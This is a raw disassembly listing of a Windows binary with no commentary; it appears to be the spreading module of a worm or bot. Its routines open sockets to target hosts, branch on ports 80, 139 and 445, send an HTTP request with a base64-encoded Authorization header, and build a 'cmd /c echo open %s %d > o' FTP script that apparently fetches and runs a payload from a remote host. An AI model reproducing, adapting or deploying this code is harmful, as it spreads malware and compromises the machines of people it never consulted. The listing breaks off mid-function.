mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx leave retn sub_40B21F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B575 proc near ; CODE XREF: sub_40B639+A2p ; sub_40B639+C7p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_8] push edi push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 xor edi, edi push eax lea eax, [esi+1] inc edi push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_4E0524 ; select cmp eax, edi jnz short loc_40B5DC lea eax, [ebp+var_10C] push eax push esi call sub_433746 ; __WSAFDIsSet test eax, eax jnz short loc_40B5E0 loc_40B5DC: ; CODE XREF: sub_40B575+54j xor eax, eax jmp short loc_40B5F0 ; --------------------------------------------------------------------------- loc_40B5E0: ; CODE XREF: sub_40B575+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4D6680 ; recv loc_40B5F0: ; CODE XREF: sub_40B575+69j pop edi pop esi leave retn sub_40B575 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5F4 proc near ; CODE XREF: sub_40B639+80p ; sub_40B639+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4D6664 ; ntohl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4D66B8 ; send cmp eax, 4 jz short loc_40B61E xor al, al leave retn ; --------------------------------------------------------------------------- loc_40B61E: ; CODE XREF: sub_40B5F4+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4D66B8 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40B5F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B639 proc near ; CODE XREF: sub_40B718+48p ; .data:0040BB46p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_415090 mov esi, eax pop ecx test esi, esi jnz short loc_40B662 xor al, al jmp loc_40B713 ; --------------------------------------------------------------------------- loc_40B662: ; CODE XREF: sub_40B639+20j push ebx push 0 push esi call sub_417700 push 2Fh push offset dword_43F9C0 push esi call sub_419330 push 8 lea eax, [esi+31h] push offset dword_43F9F0 push eax mov [esi+2Fh], di call sub_419330 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_419330 push 6 add ebx, edi push offset dword_4D9378 push ebx call sub_419330 push 85h push offset dword_43F938 push [ebp+arg_0] call sub_40B5F4 add esp, 48h test al, al jnz short loc_40B6C9 loc_40B6C5: ; CODE XREF: sub_40B639+B8j xor bl, bl jmp short loc_40B70A ; --------------------------------------------------------------------------- loc_40B6C9: ; CODE XREF: sub_40B639+8Aj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_40B575 push [ebp+var_4] push esi push [ebp+arg_0] call sub_40B5F4 add esp, 1Ch test al, al jz short loc_40B6C5 push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_40B575 add esp, 10h mov bl, 1 loc_40B70A: ; CODE XREF: sub_40B639+8Ej push esi call sub_415C20 pop ecx mov al, bl loc_40B713: ; CODE XREF: sub_40B639+24j pop edi pop esi pop ebx leave retn sub_40B639 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B718 proc near ; CODE XREF: .data:0040BB2Cp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_43FA00 push [ebp+arg_0] call dword_4E0520 ; send cmp eax, 48h jnz short loc_40B753 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40B575 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40B753 cmp [ebp+var_20], 82h jz short loc_40B757 loc_40B753: ; CODE XREF: sub_40B718+1Bj ; sub_40B718+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40B757: ; CODE XREF: sub_40B718+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40B639 add esp, 0Ch leave retn sub_40B718 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B76A proc near ; CODE XREF: sub_40B7B6+29p var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_434468 call sub_41991C and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_434460 fstp [esp+10h+var_10] call sub_419730 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41991C inc eax leave retn sub_40B76A endp ; =============== S U B R O U T I N E ======================================= sub_40B7B6 proc near ; CODE XREF: sub_40B92D+23p var_44 = qword ptr -44h mov eax, offset loc_433F0B call sub_4191E0 sub esp, 30h push esi lea eax, [ebp-0Dh] push edi xor esi, esi push eax lea ecx, [ebp-3Ch] mov [ebp-24h], esi call sub_40BBAE push dword ptr [ebp+10h] xor edi, edi inc edi mov [ebp-4], edi call sub_40B76A pop ecx push eax lea ecx, [ebp-3Ch] call sub_40BCBA cmp [ebp+10h], esi mov [ebp-1Ch], esi jbe loc_40B901 push ebx mov ebx, [ebp+10h] loc_40B7FE: ; CODE XREF: sub_40B7B6+144j cmp dword ptr [ebp+10h], 3 jb short loc_40B809 push 3 loc_40B806: ; CODE XREF: sub_40B7B6+5Bj pop ebx jmp short loc_40B81A ; --------------------------------------------------------------------------- loc_40B809: ; CODE XREF: sub_40B7B6+4Cj cmp dword ptr [ebp+10h], 2 jnz short loc_40B813 push 2 jmp short loc_40B806 ; --------------------------------------------------------------------------- loc_40B813: ; CODE XREF: sub_40B7B6+57j cmp [ebp+10h], edi jnz short loc_40B81A mov ebx, edi loc_40B81A: ; CODE XREF: sub_40B7B6+51j ; sub_40B7B6+60j and dword ptr [ebp-28h], 0 mov [ebp-2Ch], ebx fild qword ptr [ebp-2Ch] push ecx push ecx ; double fmul dbl_434470 fstp [esp+44h+var_44] call sub_419950 pop ecx pop ecx call sub_41991C test ebx, ebx mov [ebp-20h], eax jbe short loc_40B85B mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-14h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi inc edi loc_40B85B: ; CODE XREF: sub_40B7B6+8Aj mov cl, [ebp-14h] mov dl, [ebp-14h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-18h], cl mov cl, [ebp-13h] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-13h] mov [ebp-17h], cl mov cl, [ebp-12h] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-16h], cl mov cl, [ebp-12h] and cl, 3Fh test eax, eax mov [ebp-15h], cl jbe short loc_40B8C8 add [ebp-1Ch], eax loc_40B8AD: ; CODE XREF: sub_40B7B6+110j movsx eax, byte ptr [ebp+esi-18h] lea ecx, [ebp-3Ch] mov al, byte_43FA50[eax] push eax push edi call sub_40BC39 inc esi cmp esi, [ebp-20h] jb short loc_40B8AD loc_40B8C8: ; CODE XREF: sub_40B7B6+F2j cmp dword ptr [ebp-1Ch], 48h jb short loc_40B8DD push dword ptr [ebp+14h] lea ecx, [ebp-3Ch] call sub_40BC17 and dword ptr [ebp-1Ch], 0 loc_40B8DD: ; CODE XREF: sub_40B7B6+116j push 4 pop esi cmp [ebp-20h], esi jnb short loc_40B8F6 sub esi, [ebp-20h] loc_40B8E8: ; CODE XREF: sub_40B7B6+13Ej push 3Dh push edi lea ecx, [ebp-3Ch] call sub_40BC39 dec esi jnz short loc_40B8E8 loc_40B8F6: ; CODE XREF: sub_40B7B6+12Dj cmp dword ptr [ebp+10h], 0 ja loc_40B7FE pop ebx loc_40B901: ; CODE XREF: sub_40B7B6+3Ej mov ecx, [ebp+8] lea eax, [ebp-3Ch] push eax call sub_40BBC6 mov [ebp-24h], edi and byte ptr [ebp-4], 0 lea ecx, [ebp-3Ch] call sub_40BC0F mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi mov large fs:0, ecx leave retn sub_40B7B6 endp ; =============== S U B R O U T I N E ======================================= sub_40B92D proc near ; CODE XREF: .data:0040BB0Fp mov eax, offset loc_433F25 call sub_4191E0 sub esp, 10h push ebx push esi push edi push offset word_4D9382 and dword ptr [ebp-4], 0 push dword ptr [ebp+10h] lea eax, [ebp-1Ch] push dword ptr [ebp+0Ch] push eax call sub_40B7B6 add esp, 10h lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 1 call sub_40BCB6 lea ecx, [ebp+14h] mov esi, eax call sub_40BCB6 lea esi, [esi+eax+36h] push esi call sub_415090 mov edi, eax pop ecx test edi, edi jnz short loc_40B983 xor bl, bl jmp short loc_40B9C2 ; --------------------------------------------------------------------------- loc_40B983: ; CODE XREF: sub_40B92D+50j lea ecx, [ebp-1Ch] call sub_40BCA9 push eax lea ecx, [ebp+14h] call sub_40BCA9 push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_417E80 add esp, 14h push 0 push esi push edi push dword ptr [ebp+8] call dword_4D66B8 ; send cmp eax, esi jz short loc_40B9B9 xor bl, bl jmp short loc_40B9BB ; --------------------------------------------------------------------------- loc_40B9B9: ; CODE XREF: sub_40B92D+86j mov bl, 1 loc_40B9BB: ; CODE XREF: sub_40B92D+8Aj push edi call sub_415C20 pop ecx loc_40B9C2: ; CODE XREF: sub_40B92D+54j and byte ptr [ebp-4], 0 lea ecx, [ebp-1Ch] call sub_40BC0F or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+14h] call sub_40BC0F mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40B92D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 424h and byte ptr [ebp-424h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-423h] push 8Fh rep stosd stosw stosb lea eax, [ebp-424h] push offset sub_43FC00 push eax call sub_419330 add esp, 0Ch mov eax, offset byte_4370EC push eax push eax movzx eax, word ptr dword_4D63A0 push eax push dword ptr [ebp+8] call sub_408882 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-395h] push 400h push eax call sub_417E80 add eax, 90h push eax lea eax, [ebp-424h] push eax push 164h lea eax, [ebp-8] push offset sub_43FA98 push eax call sub_40B21F xor ebx, ebx add esp, 30h cmp [ebp-4], ebx jnz short loc_40BA89 xor eax, eax jmp loc_40BB93 ; --------------------------------------------------------------------------- loc_40BA89: ; CODE XREF: .data:0040BA80j mov [ebp-0Ch], ebx loc_40BA8C: ; CODE XREF: .data:0040BB6Ej test ebx, ebx jnz loc_40BB74 push 6 push 1 push 2 call dword_4E051C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40BB5C xor eax, eax lea edi, [ebp-1Eh] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-20h], 2 call dword_4D6668 ; ntohs mov [ebp-1Eh], ax lea eax, [ebp+0Ch] push eax call dword_4D66A8 ; inet_addr mov [ebp-1Ch], eax lea eax, [ebp-20h] push 10h push eax push esi call dword_4D6610 ; connect cmp eax, 0FFFFFFFFh jz short loc_40BB51 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40BB19 sub esp, 10h lea eax, [ebp-0Dh] mov ecx, esp mov [ebp-24h], esp push eax lea eax, [ebp+0Ch] push eax call sub_40BBEC push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40B92D add esp, 1Ch jmp short loc_40BB4E ; --------------------------------------------------------------------------- loc_40BB19: ; CODE XREF: .data:0040BAF1j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40BB33 push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40B718 jmp short loc_40BB4B ; --------------------------------------------------------------------------- loc_40BB33: ; CODE XREF: .data:0040BB23j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40BB51 push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40B639 loc_40BB4B: ; CODE XREF: .data:0040BB31j add esp, 0Ch loc_40BB4E: ; CODE XREF: .data:0040BB17j movzx ebx, al loc_40BB51: ; CODE XREF: .data:0040BAE8j ; .data:0040BB3Dj push esi call dword_4D6700 ; closesocket test ebx, ebx jnz short loc_40BB67 loc_40BB5C: ; CODE XREF: .data:0040BAA5j push 3E8h call dword_4E033C ; Sleep loc_40BB67: ; CODE XREF: .data:0040BB5Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40BA8C loc_40BB74: ; CODE XREF: .data:0040BA8Ej lea ecx, [ebp-8] call sub_40B04C test ebx, ebx jz short loc_40BB91 mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_43F070[eax] inc dword ptr [eax] loc_40BB91: ; CODE XREF: .data:0040BB7Ej mov eax, ebx loc_40BB93: ; CODE XREF: .data:0040BA84j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40BB98: ; DATA XREF: .data:00437008o call sub_40C15A jmp $+5 push offset nullsub_1 call sub_419F60 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_40BBAE proc near ; CODE XREF: sub_40B7B6+1Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40BF18 mov eax, esi pop esi retn 4 sub_40BBAE endp ; =============== S U B R O U T I N E ======================================= sub_40BBC6 proc near ; CODE XREF: sub_40B7B6+152p ; sub_4332D0+3Cp ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push 0 mov al, [edi] mov [esi], al call sub_40BF18 push 0FFFFFFFFh push 0 push edi mov ecx, esi call sub_40BD29 mov eax, esi pop edi pop esi retn 4 sub_40BBC6 endp ; =============== S U B R O U T I N E ======================================= sub_40BBEC proc near ; CODE XREF: .data:0040BB03p ; sub_433270+27p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40BF18 push [esp+4+arg_0] mov ecx, esi call sub_40BE1F mov eax, esi pop esi retn 8 sub_40BBEC endp ; =============== S U B R O U T I N E ======================================= sub_40BC0F proc near ; CODE XREF: sub_40B7B6+161p ; sub_40B92D+9Cp ... push 1 call sub_40BF18 retn sub_40BC0F endp ; =============== S U B R O U T I N E ======================================= sub_40BC17 proc near ; CODE XREF: sub_40B7B6+11Ep arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40BC34 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40BCCE pop esi retn 4 sub_40BC17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BC34 proc near ; CODE XREF: sub_40BC17+7p ; sub_40BE1F+7p jmp sub_414EC0 sub_40BC34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC39 proc near ; CODE XREF: sub_40B7B6+107p ; sub_40B7B6+138p arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_0] ja short loc_40BC50 call sub_433270 loc_40BC50: ; CODE XREF: sub_40BC39+10j cmp [ebp+arg_0], 0 jbe short loc_40BC88 mov edi, [esi+8] push 0 add edi, [ebp+arg_0] mov ecx, esi push edi call sub_40BE6C test al, al jz short loc_40BC88 lea eax, [ebp+arg_4] push eax mov eax, [esi+4] push [ebp+arg_0] add eax, [esi+8] push eax call sub_40BC90 add esp, 0Ch mov ecx, esi push edi call sub_40BE3C loc_40BC88: ; CODE XREF: sub_40BC39+1Bj ; sub_40BC39+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_40BC39 endp ; =============== S U B R O U T I N E ======================================= sub_40BC90 proc near ; CODE XREF: sub_40BC39+3Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push [esp+arg_4] movsx eax, byte ptr [eax] push eax push [esp+8+arg_0] call sub_417700 add esp, 0Ch retn sub_40BC90 endp ; =============== S U B R O U T I N E ======================================= sub_40BCA9 proc near ; CODE XREF: sub_40B92D+59p ; sub_40B92D+62p ... ; FUNCTION CHUNK AT 0040BF12 SIZE 00000006 BYTES mov eax, [ecx+4] test eax, eax jnz short locret_40BCB5 jmp loc_40BF12 ; --------------------------------------------------------------------------- locret_40BCB5: ; CODE XREF: sub_40BCA9+5j retn sub_40BCA9 endp ; =============== S U B R O U T I N E ======================================= sub_40BCB6 proc near ; CODE XREF: sub_40B92D+32p ; sub_40B92D+3Cp mov eax, [ecx+8] retn sub_40BCB6 endp ; =============== S U B R O U T I N E ======================================= sub_40BCBA proc near ; CODE XREF: sub_40B7B6+33p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp [ecx+0Ch], eax jnb short locret_40BCCB push 0 push eax call sub_40BE6C locret_40BCCB: ; CODE XREF: sub_40BCBA+7j retn 4 sub_40BCBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BCCE proc near ; CODE XREF: sub_40BC17+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_4] ja short loc_40BCE5 call sub_433270 loc_40BCE5: ; CODE XREF: sub_40BCCE+10j cmp [ebp+arg_4], 0 jbe short loc_40BD1C mov edi, [esi+8] push 0 add edi, [ebp+arg_4] mov ecx, esi push edi call sub_40BE6C test al, al jz short loc_40BD1C push [ebp+arg_4] mov eax, [esi+4] add eax, [esi+8] push [ebp+arg_0] push eax call sub_40BD24 add esp, 0Ch mov ecx, esi push edi call sub_40BE3C loc_40BD1C: ; CODE XREF: sub_40BCCE+1Bj ; sub_40BCCE+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_40BCCE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BD24 proc near ; CODE XREF: sub_40BCCE+3Ep ; sub_40BD29+D9p ... jmp sub_419330 sub_40BD24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD29 proc near ; CODE XREF: sub_40BBC6+1Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, ecx mov ecx, [ebp+arg_0] push edi call sub_40BE1B mov ebx, [ebp+arg_4] cmp eax, ebx jnb short loc_40BD45 call sub_433570 loc_40BD45: ; CODE XREF: sub_40BD29+15j mov ecx, [ebp+arg_0] call sub_40BE1B mov edi, eax sub edi, ebx cmp [ebp+arg_8], edi jnb short loc_40BD59 mov edi, [ebp+arg_8] loc_40BD59: ; CODE XREF: sub_40BD29+2Bj mov ecx, [ebp+arg_0] cmp esi, ecx jnz short loc_40BD7B add edi, ebx push 0FFFFFFFFh push edi mov ecx, esi call sub_40BFA8 push ebx push 0 mov ecx, esi call sub_40BFA8 jmp loc_40BE12 ; --------------------------------------------------------------------------- loc_40BD7B: ; CODE XREF: sub_40BD29+35j test edi, edi jbe short loc_40BDE4 call sub_40BE1B cmp edi, eax jnz short loc_40BDE4 mov ecx, [ebp+arg_0] call sub_40BCA9 push eax mov ecx, esi call sub_40C0ED cmp byte ptr [eax], 0FEh jnb short loc_40BDE4 push [ebp+arg_0] push esi call sub_40C145 pop ecx test al, al pop ecx jz short loc_40BDE4 push 1 mov ecx, esi call sub_40BF18 mov ecx, [ebp+arg_0] call sub_40BCA9 mov ecx, [ebp+arg_0] mov [esi+4], eax call sub_40BE1B mov ecx, [ebp+arg_0] mov [esi+8], eax call sub_40C024 push dword ptr [esi+4] mov ecx, esi mov [esi+0Ch], eax call sub_40C0ED inc byte ptr [eax] jmp short loc_40BE12 ; --------------------------------------------------------------------------- loc_40BDE4: ; CODE XREF: sub_40BD29+54j ; sub_40BD29+5Dj ... push 1 push edi mov ecx, esi call sub_40BE6C test al, al jz short loc_40BE12 mov ecx, [ebp+arg_0] push edi call sub_40BCA9 add eax, [ebp+arg_4] push eax push dword ptr [esi+4] call sub_40BD24 add esp, 0Ch mov ecx, esi push edi call sub_40BE3C loc_40BE12: ; CODE XREF: sub_40BD29+4Dj ; sub_40BD29+B9j ... mov eax, esi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40BD29 endp ; =============== S U B R O U T I N E ======================================= sub_40BE1B proc near ; CODE XREF: sub_40BD29+Bp ; sub_40BD29+1Fp ... mov eax, [ecx+8] retn sub_40BE1B endp ; =============== S U B R O U T I N E ======================================= sub_40BE1F proc near ; CODE XREF: sub_40BBEC+18p ; sub_40C102+27p arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40BC34 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40BF72 pop esi retn 4 sub_40BE1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE3C proc near ; CODE XREF: sub_40BC39+4Ap ; sub_40BCCE+49p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and [ebp+var_1], 0 mov [ecx+8], eax mov ecx, [ecx+4] lea edx, [ebp+var_1] add ecx, eax push edx push ecx call sub_40BE5F pop ecx pop ecx leave retn 4 sub_40BE3C endp ; =============== S U B R O U T I N E ======================================= sub_40BE5F proc near ; CODE XREF: sub_40BE3C+18p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] mov al, [eax] mov [ecx], al retn sub_40BE5F endp ; =============== S U B R O U T I N E ======================================= sub_40BE6C proc near ; CODE XREF: sub_40BC39+28p ; sub_40BCBA+Cp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi push edi mov esi, ecx call sub_40C012 mov edi, [esp+0Ch+arg_0] cmp eax, edi jnb short loc_40BE83 call sub_433270 loc_40BE83: ; CODE XREF: sub_40BE6C+10j mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz short loc_40BEC3 push eax mov ecx, esi call sub_40C0ED cmp [eax], bl jz short loc_40BEC3 push dword ptr [esi+4] mov ecx, esi call sub_40C0ED cmp byte ptr [eax], 0FFh jz short loc_40BEC3 cmp edi, ebx mov ecx, esi jnz short loc_40BF04 push dword ptr [esi+4] call sub_40C0ED dec byte ptr [eax] push ebx loc_40BEB8: ; CODE XREF: sub_40BE6C+63j mov ecx, esi call sub_40BF18 loc_40BEBF: ; CODE XREF: sub_40BE6C+68j ; sub_40BE6C+72j xor al, al jmp short loc_40BF0C ; --------------------------------------------------------------------------- loc_40BEC3: ; CODE XREF: sub_40BE6C+1Ej ; sub_40BE6C+2Aj ... cmp edi, ebx jnz short loc_40BEE0 cmp [esp+0Ch+arg_4], bl jz short loc_40BED1 push 1 jmp short loc_40BEB8 ; --------------------------------------------------------------------------- loc_40BED1: ; CODE XREF: sub_40BE6C+5Fj cmp [esi+4], ebx jz short loc_40BEBF push ebx mov ecx, esi call sub_40BE3C jmp short loc_40BEBF ; --------------------------------------------------------------------------- loc_40BEE0: ; CODE XREF: sub_40BE6C+59j cmp [esp+0Ch+arg_4], bl jz short loc_40BEFD mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40BEF2 cmp eax, edi jnb short loc_40BF0A loc_40BEF2: ; CODE XREF: sub_40BE6C+80j push 1 mov ecx, esi call sub_40BF18 jmp short loc_40BF02 ; --------------------------------------------------------------------------- loc_40BEFD: ; CODE XREF: sub_40BE6C+78j cmp [esi+0Ch], edi jnb short loc_40BF0A loc_40BF02: ; CODE XREF: sub_40BE6C+8Fj mov ecx, esi loc_40BF04: ; CODE XREF: sub_40BE6C+3Fj push edi call sub_40C028 loc_40BF0A: ; CODE XREF: sub_40BE6C+84j ; sub_40BE6C+94j mov al, 1 loc_40BF0C: ; CODE XREF: sub_40BE6C+55j pop edi pop esi pop ebx retn 8 sub_40BE6C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40BCA9 loc_40BF12: ; CODE XREF: sub_40BCA9+7j mov eax, offset dword_434478 retn ; END OF FUNCTION CHUNK FOR sub_40BCA9 ; =============== S U B R O U T I N E ======================================= sub_40BF18 proc near ; CODE XREF: sub_40BBAE+Dp ; sub_40BBC6+Ep ... arg_0 = byte ptr 4 push ebx xor ebx, ebx cmp [esp+4+arg_0], bl push esi mov esi, ecx jz short loc_40BF64 mov eax, [esi+4] cmp eax, ebx jz short loc_40BF64 push eax call sub_40C0ED cmp [eax], bl jz short loc_40BF52 push dword ptr [esi+4] mov ecx, esi call sub_40C0ED cmp byte ptr [eax], 0FFh jz short loc_40BF52 push dword ptr [esi+4] mov ecx, esi call sub_40C0ED dec byte ptr [eax] jmp short loc_40BF64 ; --------------------------------------------------------------------------- loc_40BF52: ; CODE XREF: sub_40BF18+1Bj ; sub_40BF18+2Aj mov eax, [esi+0Ch] mov ecx, esi inc eax inc eax push eax mov eax, [esi+4] dec eax push eax call sub_40C0F5 loc_40BF64: ; CODE XREF: sub_40BF18+Aj ; sub_40BF18+11j ... mov [esi+4], ebx mov [esi+8], ebx mov [esi+0Ch], ebx pop esi pop ebx retn 4 sub_40BF18 endp ; =============== S U B R O U T I N E ======================================= sub_40BF72 proc near ; CODE XREF: sub_40BE1F+14p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 push [esp+8+arg_4] mov esi, ecx call sub_40BE6C test al, al jz short loc_40BFA2 push [esp+4+arg_4] push [esp+8+arg_0] push dword ptr [esi+4] call sub_40BD24 add esp, 0Ch mov ecx, esi push [esp+4+arg_4] call sub_40BE3C loc_40BFA2: ; CODE XREF: sub_40BF72+10j mov eax, esi pop esi retn 8 sub_40BF72 endp ; =============== S U B R O U T I N E ======================================= sub_40BFA8 proc near ; CODE XREF: sub_40BD29+3Ep ; sub_40BD29+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40BFBB call sub_433570 loc_40BFBB: ; CODE XREF: sub_40BFA8+Cj mov ecx, edi call sub_40C102 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40BFD1 mov ebx, eax loc_40BFD1: ; CODE XREF: sub_40BFA8+25j test ebx, ebx jbe short loc_40C005 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_40C00D mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40BE6C test al, al jz short loc_40C005 push esi mov ecx, edi call sub_40BE3C loc_40C005: ; CODE XREF: sub_40BFA8+2Bj ; sub_40BFA8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40BFA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C00D proc near ; CODE XREF: sub_40BFA8+3Ap jmp sub_419A90 sub_40C00D endp ; =============== S U B R O U T I N E ======================================= sub_40C012 proc near ; CODE XREF: sub_40BE6C+5p ; sub_40C028+1Ep call sub_40C141 cmp eax, 2 ja short loc_40C020 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_40C020: ; CODE XREF: sub_40C012+8j add eax, 0FFFFFFFEh retn sub_40C012 endp ; =============== S U B R O U T I N E ======================================= sub_40C024 proc near ; CODE XREF: sub_40BD29+A5p mov eax, [ecx+0Ch] retn sub_40C024 endp ; =============== S U B R O U T I N E ======================================= sub_40C028 proc near ; CODE XREF: sub_40BE6C+99p mov eax, offset loc_433F30 call sub_4191E0 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] mov esi, ecx mov [ebp-10h], esp mov [ebp-14h], esi or edi, 1Fh call sub_40C012 cmp eax, edi jnb short loc_40C052 mov edi, [ebp+8] loc_40C052: ; CODE XREF: sub_40C028+25j and dword ptr [ebp-4], 0 lea eax, [edi+2] push 0 push eax mov ecx, esi call sub_40C131 mov [ebp+8], eax jmp short loc_40C08B ; --------------------------------------------------------------------------- loc_40C068: ; DATA XREF: .data:00436350o mov eax, [ebp+8] mov ecx, [ebp-14h] mov [ebp-18h], eax add eax, 2 push 0 push eax call sub_40C131 mov [ebp+8], eax mov eax, offset loc_40C085 retn 